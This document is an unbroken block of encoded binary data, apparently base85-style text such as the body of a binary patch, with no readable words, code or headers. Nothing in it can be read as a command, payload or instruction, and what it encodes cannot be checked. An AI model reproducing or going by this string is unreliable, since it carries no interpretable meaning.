z4Xj+@ii2E@>7pout^(Fi4{mG;=?98CiFs|F6E9t=7SD+yjrQ-?31YJ(wGxny93=%G ztDVbf%B{V?-yAM$EOX+M8XQ}9#kZ>Py)0~8PCsu=#ZOc;>%cSyD;%{bEGc7$oEbaq z4(?@q+X)XRqkw;&OC4lT%j7xZ$+FW$`Z#4Yi{t&{=T(!08t*-AVpu=*iMh>uH|Po| zcoziTNCTu^H0HRL@=Rl%yj}f%PdJ6Nt@4;`K*|C?LtRw-=oKzg4>1N_-h3En0mKL5 zOc_~Nz97=SZc~spZ5#w-)p6{crFq_2Z*>TZb<^I_Lq=cFb?+#~-mmcIUYnZa|D zgEAJ`A*XWX^g<{ zoU@1Nsw#kysDRA+u`D?pi%)JhxygdmrJcrz(iD95vA0tsJBsa?wcK5ZYO+cT>MX!j zh%49KS7;^fvA=yCq_f^t5Q>e5wI8{9T`ulr)rVQ|AjJrH@?f#U@`52L*J_19Ckvy! zW&#>lxf(HZc-|;h&AXs$1^28jRPwYUPg}ZJNE;j5?q&5VX|GISDYRbnWt-h#ookD? zs#HiC5v77^aM4j1&L5a70G|cYzF^&xkdR;wwY>9Eej%d%+S^)S8|~)!(PPl{=)?Ba z@H!69)Vne z2rH=7)S{s52l5elytSE>?5xz*HeHx^Ui;ijDQ?LF=J}I!Wqb4S$k@en%3*QD?&aY= zv2}N(H$uVe?&gIdT05}V-@%YmxFM1QmzcJX^)ZP2 zh51`!9!0aGZc{5`Dt) z1|Z-9HN@R-+{fi5?y_VbsF&kT&30?|eDtU(Mr;We#JBOM^1Y5{kBjCr?ryTqRYCsd z*xo``-NM!r_bGvgZ`WY|MFOEB@vmQ=z$2ocm{u9lskeu>`hps1y2WvlBT^KfI+uCA z`y_Gq5&nLLiE~|)w!g}*-LElx$*WKC6h^ma4>JgzIn*i>TqBO%T_QUq1hq|1Yh@fR zqnpH6ROEgJZVR5dF#Pdn9VYtSO5P9rHCtczB$>)Czk{dy~*ubr!3;UBH~ z{zDI-VacN`F}iA9nTk&FsPFvAo@%2nwZ4($nRE+}804%x>f|6SU9Bnpl=>Oww#+St z+yFF|jTd^`tK}7sS8?PuL7;BPA|TH3g~|=E|Z#xt}_ye z?t3^|p3{UO^unG!4z=J+|8HMynkiyxrKSw(cy%h@u@uGbf{OnkPs0*WU4{(=HiRzF z&Od#Yn3ZCK?P4%MAynE=c^=dpPg02Qi@lguW>x)>u(#)WP;mlrYik(9-e}%haf4&_Dh>tOY{=?Ehyx^$Z#_iP*eN*vgcnSL= z)Jc!}Pd-yq5B9cM3_5-u5m5IfRd~3Cy?fVjVI_1}?q#LCVI zIsXEAV$aw9pGO{eu@EPzxdAt@;2QzeO_63SaQr~-BL>!55Wl$oQ)PL)Z;kYQq;hz8 zT=mOad!3){wC?}B2uM1_TQ_Y(N+czZFE+5`SmKD0g`ovZ9Dx9WXkA1Oma=ZU{1))s ziPz@TJ)m4Kb+`idBM87QDG_>IWgKOi*LwcrowI+Oh!Bz#p)J0yPk*%SeS2{3k$YK+ zNn9lSpqAUA#dlhfcjGmF;qOR7!5_iRje=zLPTnl;XEHo@65^;ui3$g00Bi^Ug_P$O zW5wYT9uh`Wx!>9z%c)B+T;c!$AVd+3zrZnwon-KAMMme-`<1mjl{*%$TZ<3XOmBk1 zeG}6i0srv@3JP#W)|lpi8At(&Ezn)3Z7HXK>+$>CXlUkl+7^I2=vvowbmGFHrTc02 zKN9-b3;Y8rt|X>%$8})Z!?ycFOycTca~o4>eGZAU2K6f7nof{Od>+AEg9;kvZnR%u zp6Z_r`RPC+g&14#7d-Bs>k|HGeKxcqxY78Y;#HWH2SB9H1>>_1z-_`wQakQ%7|X8q zBLP4Z9mPuQr|~wyD-&B&Cj|)|KTUJPdIh5aJYi~P_Vz(?4W&wN*ArzWZ$@?^iMN)M z9pjAl%kR;7!4nhuuqxHhm7I-m5JHI@F3P|k!QJyXJR&^qM*#P4rL{fxG&;Y*$$E3H zi$p$ZBMo7`9({|nLQj#@qYj=(PY*XBoSlYg-vdSIM*+-&Oy?pR{RbznCqFpd7niE2 ztmzHxgqZtX68#9=<;~WkLpgCLE!s%4e_jP@+Zg+N2*TMANGRC zjVeh@H03@HKWDrgoNYQa^{wz4WN(mNr6l;FH?8)S{1#O##(pW>Pti(eD~=FsE#L`% zUS!Q;85-L1l>p$a@@Ww}qsMP17^Q%VzBrPb#5U;oE;jbAp59fltY{bfDC=a1_Z6t# zUMhte`4Q}ZfavJrf|8bfWPqOe28Z_8*52+WS^^d)9fBOukT_mO&#^(lI{u)M1!T|H zN(f7X?_B<+Zsl>uQl5{rA(V-i_j7+odvUQKjD-*g$&34`E6Ebgt3~Ao1_oo+0;?|W zogN7{7-668v2Pg=82TI|Pw z5YV~@%`3Q~-+gX=wm!yR*}NJSQ8YhrTfH|KA+Ya*&;8?5C%i*-C7ASFSooo=t z@-jBaj#E_b(SatT>BFnTw}H9bo( zxID;vHTa`4zth!x9bC~z&#+M<)(;P1%TPavTe{9DsW6Uq!H*SjIW=73SOu@ta_9!q zW-k+aHu-l(Am-0M=G;nk6?ig;pBQr8Aed>_uI{2)8LN+Vf<6kYlUG0|2=X;5VZ$@0 zv*wzu==bsA{h5{$$6o5yvbzK-90=SRVRdF5;71M8bQs5s75^W{E;2mBl}!Jl=(M?x z&mo&Y2NRb6*K`;@H|x$@U1!{pSA?!@TBkh4&2dG;x%C1E4Ky)V=toQPOq`=+sy0XsCpp#O(Wzl?br=2PRGC!m z@NbSsqBD*yuHZ)JbJ5$kjY0`nH*U(Tbg_DRwobJVaUc^RQQqn376+%NY4<8z>sH}G zP>J3T9)({=cle(|(N~tK_Sb^#ZlZ(=fB)YmsOU1qiG$r!SFT>TB$W_Z5L8iUk9p!t zNYlgWhTPwFS^otW^w+TFTP(NV*I>IGY{D+CrbJt-c2!*5TX`ppXA&fXC$+;6zS@B6 zqt!UR(G4=7WVIM71&%IVlDI;07R=Vr$mIl{^GRM~gVE~5-id!Gw2jSkKs{;0J}VSr zw**dAU}+iVo=fTM(_2+mBm?$0{K;Lk8FjM<|yIMf{0m<3F-;0a-2-MD^ zQeWW;1=68LUVcvr@^DWC(F~CkEqP#Z-DNhy`%FnJ&gXPEDZzYENcriru1D#xWBt}i z*k&5$VuL_)8f+)nYm;Ec;94F6tJ&)jUyy(10WNMP>A_d|2g~^XVamj>r##2os%RD< zb0;lYC!XYQk7HLhciRxP($lE%TseNmH*?N^vsuUFofW!+7egA}K@;403|<$$zxg4m zuCvBBKj_LmlCt9AePaQ0ROqJugZQIiAf$X!?*8c(8=_6F%^Z?wy1)66;QI_xMqift z;5~+rQELH$JJ&7(Vi%fG^KIMWAvp)?FBxD{s{w{zMynf~rT>6~K)!G%&$s?{ZaD6t znhpXk*XybdlLeMPGgnxTfGd!9FbkQvj*t&}%sZ-~3+`O*u-6ENV4)KE1&XBh(Jox& zZZMF}c8pJ;2OQ_u5#PS1=KX6IO$s#ZS^s--+{c6SSWvXAHwQM>Ncmf_y|t2U+pPvW zFh3%OakJ4~gp|_)`&Yhl!(mSb5V%y$Zt#EeS{=JWf7BKVXwD-URTrF$jARpP8h-M% zj^o33Nrw}K2dh$*6NAS)`aM>C4=$4!7aS}7RaId33M-lwJdbE9uuBZO2FH}kktKjQf) z)|OTd(!W@Yy3g$cw~Q!>qeO(3XalH2Lmn&M2N;gyPkDLJnAD6Oubtr^UT3;4Tk=J< z5*Z;N5i~F$fT^3G)$wR3b~?+m9eK_`j&=xl{3DkW6~S)WiEMg_PlZVx|Mbwtl7kmc zq_=9MoH}rWjKKkrTt+$`N3??7qmY!9BS2cg`+KKg(H+;mROBN zVVgm76x~zh?u6SnRN)6av5iXH>iAo+vrT!8<}Tid^{h z$T^&o2CYipj+Eoyj%{VtC?fN#saj#!XX2>b6+ha~5?6xPUv=N_9Ip3Qt#a~m`F1OY zLmUpV<1-v0`wXyZ+$W|L(SMd@Jo-1+Dkjf3TXCW2wi;Bs&kM|%7^R39#VhfVBjueP z*pBO(95xqKr7h*jA#+6z{k+tZ6bcc7@@+&x*TMV1bl8&k(Ss{YEKvKs(aK`x$Rhn{ z?XPpgx&F?#P91~I^zqGQO@IQ|>u`1eNKnI)-!c@>>oR0NTw?js*k|7P(;7_NHhjV# zbx4$vR7Xf2l}Z>6(eiSoY_-f?`&?>x+j;d8088PB)C7FE-+ch~ktx5}+hh?r=;)nO ze*UuG-17XLh5_&f8|KC?V}~K*YHG@mTW|Ll%o`A|tbJ7`KLz5y+;7-H6}4i;*s441wSRFn9t( zUr_%IxplDy4FAL6JM>US4kD;-FP50i4VN0_aX1Jiuruf9^VT*%^xiiZGfKiSVHrvx zq4?#?myac>xDciO{xhpkR8+gcf4)0ab3B)LzUj_Qh8VSv9Fj4JNy5%ST2>&IkmeQ% z!4LcXn_%uVZc2qbPInO}5d7?XQjZp4C0ELgG1SvLRXAeH7#Phui|oL2Eh|GU1|9hf z;!`JVOaDxpVeQ}o-7(T3_mw!{d3y2e4j7MCoc^j>o>={w9#Ro?IH_YfJqa#I{L!}v zS8ggFZAN?DcHhmPaze(X*T{%+^=H}P{e*_~MQ8QrgQYbu8%RyO8YYb{0Jb?Wk&YV| z_bb{)%J(UGZ7DGr6C;AF4Fix#4U3wC1Is@1ZS)=oDCIgEKq)5=N;zcsgG>Mb{eZ1W zqBq+1(4GZBlpsv^QWcUSsx&)u@|Mjn{QFIxB#8!=@~azwSFXc z;}P4<((!Nft#~%po=d?RET7t55|_Sqai$&<;c~zcx;ECktUu62<2OJ)U}%H3BK+)6kbZQB-uP*Ns(BUa`+{T#|I%xp`TX7svafOOd=H8AyBX z!3zX|A0s0h%xxP|<XxrYM}%%V)Y)u4|<3B4dC@&OSwF#SL*E;iaIXmGmf@-3C`AFW2Ure-8_P2e+C zEpW&2*xRf&&4;<^D%Jzi~nuqtlW9*R<4bk2&5RCD%XP3tO%|AJqp%(*d1eLi zjf<+P8038dgk-7(X#JpJUt1#r=k^JJ#Kw0AG*5%f=!ZG>5qRo*$*f_Q2WZEd3x1sj zIuJ6*s$D^yhIZjHHv1z8!}Y#lWJ1&W!vtTUIklT77+^YZIqB7hP~8nZaED9t1dsqB zBl3}KZPz=&uV_s6;8#G_li5_ zy#Ic<`P==@q!zl@yS}kCY+~ zc*^srC^`I&+-y8MEf?Q^I0F!P@F(LT zybgUutSaVt%MAIf{?`6!h&x$#00jVXS#jU?IU9akX+YVBr zSmK|dc>tZ(04M=OR_Q^*6+*+r%pCTPq}^9e0=AT(H35qvt9njAPz%Auh>P+x_f+$| z){>|P)O;5 zm>6L=!+2(A*p0bC;l1^2bVYT3P5lN8F{D-!eKdFtNWgm{o4^_JU9)sGB1yFA*KMWU zIu5Uftr}l0V;wJZzFTk~ngDUtgm!NHOuHgVarOKjh(f27>F*9!|w?^IMem<@ujjdH%)MHUNZWzS`G1rAb*&%#?c`uYtVq;pK~l+hr7rg8SJtbd5FM zQrseGmqDxntU7FC#*SjXOq%xJOb6J*{xKa$azC}^UglxGay4xxnhC)pQJ2hyWwwK?9@U#XQx+0OibQFDm3|E1>WQ?-&s3@{esw#7G~PS4IJiEkw@ zeeO?`wVNeg?e5H=g$ijKJwDx2cFKNTvw%tty}Ex0)D%|ojoCd-@jp)Noad}^HJ1_6 z;;C0-RMFbM3Q&Q`H+BzS`4&)x?V9gD{VNnvhewYqmU`qC9q#>2ciTQTSb|f3w5H4& z4eht*`WY7!^U{%C-y<`_v8VU5z>>w{?ZozlCkey?+m!9I4qrNXFwx{DX$<;<+R>69 z#-0w$c5uW=Hc%<0Mv8^DcYbzmRVLfYn>1foc(NGXr!SJ!%hbn~MmLEqW6$51-YA;M zh#niA>(Q|D*}bZ1+Itl_!u(}|E5=8jZmP#W7*I<_4#1^8^PYB55>vkTKLdp~pLLf9 za@i{1SqM}7QEl~ds#q*O=?s&Ww73N{l|)xdBBkpg*DKZOVM#})yR_FjWH;NI)7}0H zL-gT>X)f{CyIJ?Wni!jIH4$;{{Ax=*#_d>eX!X=turEPd?&b9g@uj@g))IuY1pgbY z3$^s%Dlc;@@(+%bYA?x>r28nZ<<2!a$De_zY|w2sPrhfXs4rgDhC`_&gz zk)W4!X2_wr!%=~Um_yZ1)t&Bi#x5$tQo36urA0tWT0kVWNV5s)2I=nD^rk!R_}X!jPvwQ;Kw#!hMuul`rqFtZ+>o!s2AYqc zXtBmllmGH4eeQ4U`ZdJopPZyUScenD$Z|4}IM)ktJL3yaEZpr*F6n9}*{;{PbZsb# z;hz&Ym^sd+jFms?p>$u{vW1MfMO36|VpFxqo)GXD2EoGx2wq|{x43isd=C#fz_jGv ze@09_x>6DVQ&XJmgg+yn3>f>7-tK(ynF|pB#0Og}Gg*ne8|GTzP>t>>m8bE+*nO$W zrIt7H9DMFdCpjOMtdKkk@*koC!QsEve_Zb4sS6336nSAiDd|V|pJ!bv{6XU!SYhL+ zX`f$`DffQ=q2mv^sD3`x_bWw<9K-RT&W!;Lw4xG9MF~|n5Lg)ZzvcDrULez%@PC@C zS%?K-59F+`{9pr@?A{fx|2Wlt-WR(D>ewOTpN?^k4riARxn=!QDf{*+MUIRwwVc^p zXH99PeZx^K`fE%2fGHDdss5L)t-*x;)98+}nr5V)H}IWNCNPto@W`2s7ejgO zm{?EXT7k1gX-Pb9aDnX3!@RdOVUS;C$o?PVUIPlmy3jg{4YBB4s%L}!mNuD_PKBE0 z0&F#89Xt;&r|GtV5zp6A5bS(txxZi0R-ZAvt&ot@91KAF=(UL5=GeL^wsta=Zko?;8q1c)Mex$BVul*tR}V_C z2p&+uaXUJpWs%()c+hZDyuVpv`FIok+wt3_*8Lv1g@Xt)#Z2nsf1CfZP-FEcB_9Q= zfvzH!cf$<|ADBb%OdfrHbzcI!wtIh7!|&@qJ@t~YGFki2x^QcYukU004NRTtty_cR zr^cT&1I2Ik6#O3&?7A}%9xJGiv%H*#-GA((ze06^ zC6O%P)Dve0-i(kfw4@nPd;-4G3bc1aE{#f^#8p)}W#13Qwf;)GmcsM>MEf`m0vB-H z#7~5XRB=^R*^1^8&=fPCYP7fctMXNcidm)U$!kqH#ZCkti2B&jgG|)C)H1}E&X-RA z3E^v`CqkeN^%5~uI<`uSJ7krf>iI#JHUfJmPVJv!WSn^059IG3@4PqW%L%AVYWu@3 z!1ALDXeIyMfbr8`epM96{Q`IN)l6B+;0fdO%Cw*Z5$(TuJhA{KU?t}7ITOmSpV%uB z_(eZ{1Kfu@kk4gEREiC?Bsg2Sxw#>QBq5h9Ldv%Ra=FHuMn^RP9Du%my(DyDVFAE^ z;<2MA;;DDIxVWIJm$W`C6{idj(0e8YqC%u+G8Dq#?F8to)tEZSl7UaJmQ$=#qNqp! z>~<&|>n*I3cY8K3ox3iY{kuz6%19QqJ~E2 zH%nw|n>3@aaDFGxu>-$O4)m~-jUL4Z`^)?aWQOgdW3NXKkE%xP1>n2Ss46X}s^J%- za*E<^`c_;zlx+}G956&QzzyCi^8e?XZg@z`_vjM{y*exX+FkcEc=+t*iNz5ly;d9^ z@StD5Ewgt2m(BLN;-k+YF*s+lNkpG-6Gp#CpA-~W20ean`< zv+(d!0D1>=C;miA*}izMX7hLnB?E7q`$Ny3yq&9*B=Y(73wp&KfxFHhv`E_=ae8DVlVPB7vG(L>x4$iDYxh;3cj5+6b z?Lo~M8}I^?($;n$HU+~x7tely#LHsC=>;l8N%cW#^J@U?o>PC${M1Tdnf~h+^iklW z$Dq6$3-4O&^-@>l7&9?W+As6IQx8yS@4NiWaR$pTAX`G7=-LvTQr~js%UY^EVwX!yZO6Tt-`I+F`u-b#G(Gi>$iBw$vBgE zWP`h2DH3=Hzb$n2y8emUanDMS(z+hiXw!yj3~ygWqb?#w>XS>++* z>B%M&U8xa)RKTY7t$SEJB9nvQ&2uHoQ&-d6aISpGq2iW*9dVZ(3v*CV`#MbD=MFH_ zE-<`f<;_04cdgRxFt)GX6PM&A2gWuetYGs9c5pzup|DVYfp2| zBAE!TsXF?Ef6OfuWwsRc-dGDhyz3@J7@RS48VIc)GI&AU2+cb-?@-k&HfbxP|EVQ z1ftloavvOxrqIpCg}{WA^9nbe(f%>x{-w~b`?aA!R}p0>`qP-tFEd%xb9ZPFp7U4tOgyLnvSE~qnm#yziA&aAz%O$!et7isaeWGp9=9Z-G!NQJ%5b~mkIwcp-^`1h#Hhe!&(U0$ym2wS@U}oA`HMzv~91(u*X;GQPT^(QyM%0&>?b7N0>j<`}^?<@Z z)6BPSX6N|o<54-w!{0j0oU$i%EXHr=tH-eOW@bp1G5LsCio%@op&B3U{w3roF{-T9 zknu|RA||=1Mltl_8k{eoJ-=}~P&)Ij^OTafn0ArS+u z66nb?9uF3HqF}$f1xTM&#TLe&!rn`sFQ@a}M#f6S8E03o4(2MrWX>H^Z}`PU zR=!gbxBH|;GHa;7c1P_SV)&!Kf1`!L=nva@6smZ+YX8VXmgi*8O{my$&ttQd76N&& zpnq8&NCd*tJ@jv7tvB6JQvp?sP*r((4Ed!XJwU%yBl}mrQR^SowUIX+*AJ#doz(bQ zVgek=O8=O5N^Hb(CF=Sep&aXb7wql^zL1iZ2HGgx%8+mo9eCRq2ykrIxqOI)ccr0L z0i%t@IoH>U{kQlXLdZBm9v|K!gKb=W04~8aXD?`Al?yd>y#Ve9zj|xuG8@K(- z_E$u4YBr>E)!tihbo~MshQg6?f_H+7N?qfwuYWqfEOqZ3@FC{jmChyP0K{W4^5`{| zWSS+=pNY>-_QfQNLaDm7d?$?OUYB+Qg$8PXui=XQ$yoigP~;tyi@Pkqn^(EiY-tR6M^@Q&x!5`T*RPk>pZ7;peGtg%>rE8Ja#Nt*?#t9p52Zn~y%}4_S13?K7{LdqY89Nx7z+(gxm@D8* z7&u|I@VAz(L+5vh9@A$$3h;kg0iu1xdt2kk}!jlJdRg&KmAMu3HAnfr{ZG4ZgW9+9l6=_rN zjErc=kctHD?!Fth!cPct0@GlIOgR#8BoXRS2{n2=RA4`(OB)n4VQh3dyt*85$z>rJ zi{fB@`gGxNYYyBo@R1W?FwEWXHj4VDb_aB}OOw&?OhCph%y<{)Xn?ufHk?ZxQ!4S z+uigYDX@gVCd~WsEAyKTQ%A}tPhuwsBsk!*#(Ky|x<5cyfdJMZu!_}xn>MyWaib6B zFTXWAL0#08g&m{+Z?$|c^AVUHm;SO01uF}n212S>`c<&#Fz&37b@7BaLb^E#{B-AT zN{FDsqY`e)3jQ{?bquz@+9GS_82jkZMsxj>eIa;fNWcZSR?k#Z9x+tl1gWCmOf2GH%DG&$@blJ2atCwcOlU6VR1<({sw|{8qGVWqrA9G$aZv2INczU&i zfo`r@TfVz)qsPgD$)LSNd5}!R+e(Lj4*!Nmnae}Tuw-fiocm~-XJ&O$V7guMD-;SU zFd~I$vS$gMuzx>MFY>2kdnhPGU126-taw7!7 zscpH?e?lmxeq+goVu+&8do3^L{l313_CO*`L>^9{FC=WY6jfAjrf3bZoNfY&^YTJC zwtKr&2OKIaS!T0MbnE7}ULqugD(o*joqL38-Um-z7f*f0T760iOsAQZoPg=i!G>U7 zeo4}WAn#g*&ww3`f0&AiFPX7(2YN4$dX<|HDF}W@IF8-mY9iOxWH@CFm;Xdp?vIY$ z5bM#i2M84GXypJ`Ox`2z`cYZweVKz&R*=3t@pyD7^wQz;?ZvURo!y^HzXAx>HS0Ur z`keOL>kO`Z->AZ2xx@2d;$;@M72V+f*8%TDX6#h({}KXaW@2)X*2wc-5^2r^4?TLa zs6(0tKPU=Bx36F2Mek_=TY{^2Z%srYq&B75f_-M^q(FW2y!OXTQ*0X3`rZSF zlHg&QpBT+bqSg037NE`r{W7rfP-4GVJGW(E=F%JMU+us@0nrIrSI90dP_|DXo8|x$ z>f@d)YdP1pj%5c}>KG!iK2U$mnOUxEdPAQE37v`qOOfe&azy9P@0{@^{SodHt`Zh; zbd>WDrdoLbWmJ-nO9 zRMV;CAm`!JM11r5zBIWvyRmXYRHiehKW5Hs_;t!y=Im3sw5{+dt#?~%n!0Tbr~K*e z!sUBpRXR5*Ct0Ww6whFd^mP~8TOuR6ss7IG8L;sPN02qG?j<{gRg6=bwtNY!V&FFS z+BlIHkU#x&1?;%9`oJv!LoO*GRD%Zw4j)CNz#h+Be8=mv@Lj|&SW1_3S9|KpT}$4h z8vA$S>?D%!;7QUF?=n)gnJ>G)+%;=nGFk4wxNzkiD?X7K0y@cSohod^5N15M_%lFH z!as3HI>}fgB1LV}w)fM|v5R5Myu!_7_xqcu%$gy%HxA`sQ!jfm1kDYpmwMv+ zDfl}(ci84E-3(5(S)hfCFZ4X;lBEM%QEQL78b7q|Y%eWI@p=qtq@p|2Bxjc>Xf8ml4VF|=+r=(6Bd>`?mqvl@-!w%+q=mH3m&^GeR*RL|5 z(0~06VKmqoS*AZO1wD&^Gdf-Jpk!hVzxiE%zD7+Pm=RgU*VlOksCDu6KyPdG)FvK z!;>>;mG(M|+<~9M9>r=jzBD6~$m#z*S7y+1T-qz9D=PX;f!7>ig<~f$ulh=zXi zeBMNs%km;*c@F%BnPeE~1P;hyh3i@yuS%wq3UFR@)p=5yqJYnNp)OraDSMtvdqq|;UkrXXRn;hPyI$q)WHLHm zfJ6E(U@xKMYh+^JWQyVW?1K<;FD_-q&`2Lyt@J} zW%qnYyLF%U3qHawA{+C-@iZE-w=|LwG`r+;tlMf3$U9X z#;S{W1`&Kuw90{k|AOgWCOCce_9^k&<@!Rli+x|nD;Z**Ysk)~d?C!Gs7Rjy(lgu< z(gKp=gpxJt+8Mp$dE3iU)oFcH{`&;XUasW~S%OmDb|*CQvL9F*F2~R5lveWgDPHAK z{+CXsY(-o@ebsZM(g>4;WVu0LR=wPbjyr+NSP1*kt5f7&%X!0 zbMRpoXqA!&kwDnMdmjB_^)j<2T%0PmX97;>W^=B{SmN$uT&<Z$a0eI*>1NE>G5NDA zIT-Agz3Nb#{Bb;C0XG@o>ZIifkO-{sGlWrzDk;sm^>iP85|@k>w8a5qZRi9QbQNE! z8M_4^Bx~B4OIU(j`~;s;A6!*&$CP3IM+@oh;Y00ExRP+dL7?3L?pXEp08s4xUAD6a zvq%OA898Lj%8%*lNoRyHhD?HBQbBrtdgdjo4ZO12%nk%J)0*D(6IzZ1PEdNr>K{73 zDX_kvd7_5h+KRO{;{N4Vyk@36W%ICNJukRmJ|m!g%H@~nzOP?6CZ~aZrk3M3|KkQ| zbs?Sss%$u6SzQ!4|AKL{Q}V*jY~Igi4ehY3AMu~TY1QiGRFFL-nE!E12UWveB?WV| zvEApYu$k5GQy`g^dW1-S3NKijfqduE)C`#aO+Igt$pEgBe4uWLm`w-a0+_StpL@SN z^z^FU+GDjx3pqb?QTRZ}qA3A74&W=HPRE>q-UGI>hezFBf1N4M`TrAE;MR@(H8^Ys1s)-OQp1lTtJX!mAPoXayH+4vxoMg!zXhAHNiWoOL0#6? z)>pf$Qvp!?VK$K6ymnRBo9=OIvIFTI@~WCPCQg2<=k7jP z`&57Tta^&Fh#_6=T5+m)oNWRR3~P1VBl4cR;6K^BQq znZ^pEiVoLRIv~Ne`O9i;9i7cPcfQ{W{K>K2hsI~Oo?$0^qFD=LZJOw;x z`(ouD%__Hre*2)#rRhKH=}JmpZOR1&&rZpYcbWehzdxtnZMUB^LgknIFk-~X!%GBFbHTLNl)8|v&d-!O-(G9=N?eETUH8wZFxzg~g=_xs% zn%Gc&IV9tP@7zqXeC6MKos-Mu5Mk4yJl6gm&h*lHitHP^HwM;~xRK77s2(HLU8rXY@M zpYTJL=2c(jdR1d-=_4LX@yuA7Kne~Ht#6GT9c3YCDx~J?%;8t@nd?V_;mMitiE$hp zCS4uhr#`KDFz2j%4iA=Co%0znm>F)hUmJG(Qt5rK%Sbm3AuliEK+l}<^(;W{k6F9i z?O5bXx}p6b_Uu3j|-H6XoR*NvV$l$$356kdx&d7Po`jKL>?S|DD25 zZ+)S!$k+bHy2+s6D?fci?&~9uKZYVitP8H~U4w(%5}_@JN;}e8?u=TcXw+~Z$NYSG z`)evHuGG|x7?fi|2~EWF7cM_}bWZRSfBg9cNw7EY$b}cq(A^1ES$#kpy-CJxNhg5# z96WM#1LNraJ%U@$wX`syEHWNSq6;C72n!F#@TqMmNj%|oJADGbx2L~XLP_kJ&cuYp zxhW&6>n-hLf#g0DR=eZ1mlEMEe;2$h1rFQ?TlaGBhf6!Iw;i3YmfEccBn6$nAjcC3 z2um`Us+|KH zR83g@;BM`wPd6|;Y_HN5Hny!eQr#sdey;bovv~1B-mpZS*Y^0@m@_4@!-b?j7_Q~~ zR<|G^h`u+C4i}@zs;&;iFJ0F+HQ%l|6;eDz-T5?%$bWpjm_H9+T>0xib59%oM9$(O zP)P-bhtBqofbXIdBduTq#Ub!Ho+1oPrSC19J!)uxXiF7o4{c7-PoJVxRSZf6h`9u> z`-y!*$Vm=ncznG-XPupP-1gj3(-`t zhEngqgt#>#$@h?0B20>r>DkBAx_j)sO8=HUz;vIMn>)yRmVMSBy&9C@P@@X7#DBJN zM!YU;6mxy~;881+g@wWW^DpF6T5CV+oBfQEcF=sv=jzwc{4(+mQD@7{GG}QK1R7R- z(nQwR9%1t_&9lF=Bbm{sdGXTM)7)?4`5O%LVqsD^VoIO6ZMpX4$DM~^>^EE2NZ#A` zH8ALweT^YfJL=8gm+u6UZko3X3KXNFRPRtc5S3D(HZJt5tW&BJ_byPkgrJV@;)?$VKEay2jLMC431hv&F;gou#;07a3JR?jB{sVa zBoest2jjs!9}>%H6>?OVCZ-mXC}(wqgdCh4Bccf8J;mt=b3*l(vwx~G!vW`s2=3pf z5H;}Nr1Q_{8JrB9*r28n#t3`?PX@g5wLev*`H>Z7=rsl|zL{@rjqsEUlj4eho$FaH zx>8hBVpup57#K$V82OP#d^RvB$fgDxneqn|+GP;FqVzd9II}X%|5mqOm(D}1W(0wRNcY1Y+w_Z*wHbUl4H|C>|H z+vnd;)!p6Q9(b}GRBp5eZoTjgNL6}Npq{6qHh7QfeyDT?y#Vs#U6|Sy>#DpfE44+1 z;#9t!x8o~dQ-sf^sW2CeTBxWDz-RrGvgrk~fC{UGg^MMYr-me>-`~GWK_aJQAQ%A& zl7qp)p|tF@-|yD<+3-?umX<`?1rNnNzE*tO&zq(d>jp*zSuMOS|9VDb4aA;I2vu=% z6|>o?lU7&r7im&~SRR()hn$?T{WO6wL#x%5x(a$%#J|pN?F`Ud)g0sht!dft0=d)P z`NL5!Ww2QiX42yy*Nc&*L=Qy84LOX1qj&q^*)aWQ=E=m&OeZMl`*{;4sdHO9eKZj` z+N@v8hMB%b&PGVngGr6~Dyaf(6Otl$@@zWZjR`mN1oi7Ll}l z(bwzzc#TkC0P~NjpsLgxSGp>$JO@Iae;R|Iw51jmdH?-;1?tR4 z%q$tDrQzWvRwh&D^-@Mk-rg*jb$f2tA$SO6{h=U2P2K8IP}F^8Zq6<$Dq2)jgrlwTTb0wua5m==ttuD815CpawgrVG5@-AxDW~ zM_h}E3ZL-Ojg*|6gfCz8x}PoFW9MK^Rmvv*x`s!p>l&6QM+A;j7Q=^kfr;E;P;loS zxwmx2{Hb5C`V+NGnWX0m3e@n9efS{4@=lkYfjJ&70dV4*Hyb^E8(+_oOBSC?&&_*!z-abAGOazBVN47K^!LdJ?PS4JIRy<%VPn@bx(_+L9Pn?la z^x@GmY_>mA3nH4D7$ic-HzxhHA&S7NM@Bw;;&yRPH5?<^bMErsrm3R z%Op$Snfuz|BM{rZfKJK0*gvSv+#l!FHio$l3sF|r_j(KVNLXiHTm#$lQi6BIBWpJ> zFrJwV;`|l*Zr}E$L2IdEL{{*c5$?^M�|?1;DGnq zkz-Z5@BzY{0c7smi%JTXnAM7!QccU< z{r#SS0UurKO1t}j{EiA#EcLCz92`fV#>XdzM>@UHVDG#tD~l+rZ`mqTL#?(T(xmDG zk`Or|`o_6?VONudD!J8S|9nF4SucuDLa=$fCbv``ou{|lNA`?3 z_+B~6QZV!_6kR-yic+&%^dOw_*uU$wI~shtIY5N9XlstuixT7*P6~xM<@&KZ&sZy4G@*Pw_d}e67U)E*z@c~tL?BS zf0e%&INo&=o~(``DV3dNM0`k~syTm3*qK~Ad0ldOolE;@N0j~^mMWJcR1R(z#-##f zvC#pY8(jhzJ`s5W`w=inN=BTd=Op(n&%@iAXSv>jxtpTvb~3%nMbDR%njPpfxNcHB zI$VWrQ9Vj6`{50=QQeF4;L8)*+8cm?#_N#G6B|J?Ikmcn!SZfldsi8M3$9sjdDfL& z#1?OrtF6O}rwx1P@#~s4*BP~OPn4Lh`@&7H?fMujY+PD_tbYkp>FKmCM;Td%J?~k! z>vqEJHpIBsDJWn?gsFg6rW|E68NxGxN7p@&kAt!BVw%m(ePYMr>Ui-x8iZ$e)jBL+ zVTppMiIPb@NUNocmVRmE_!Q*rEiE=b*hz{VLnkeZik%Hg)B}Ud&sA=NqgWMY7`tN| zukMG1gvzba*Ep}_re`xi*oTSYu>YBthZ0~FYQ%r*`Dv*71owDX!p@GBYBj3W&~@E? zYPwnEkWiT+bYVEV-E3V1|IGC$DFeHbRs3xAY<|xg^bhnELP9!idCk5gufX;nNs7lA>3t zzF0SLJv(95bLM4Ye)^DB(AU~?2MaFtrq||~^&giWa{o+*)V?E^!3g+&5e~h?KdZv; zS&bKzbroBG&X`TE4h{E~2U6IWe;ABm|N^*H)=cL^(g@R`Q$o1bHAPSC+znk3)A zgfkWt7uCgU@x{P2*z3^9RNCvtUX%-$VL%#J)ZE(8OUEf3scXy?JUu<#+#4|9)Xm?# zs*oME-EC8t)x>UKgtr3vB5$q1fMCuE^&4 zePC~7)44tG7r5<9TlTpVWw=-@X;!wpBbU+(k7AgwH`hpk{WC^}F%dyFR2=o|I2U&#hZp76Qf*+ab){8W-QYiE!~_eF}HSVrQV63LlH*N}X`4HBg|hv(%k8Y(Kp 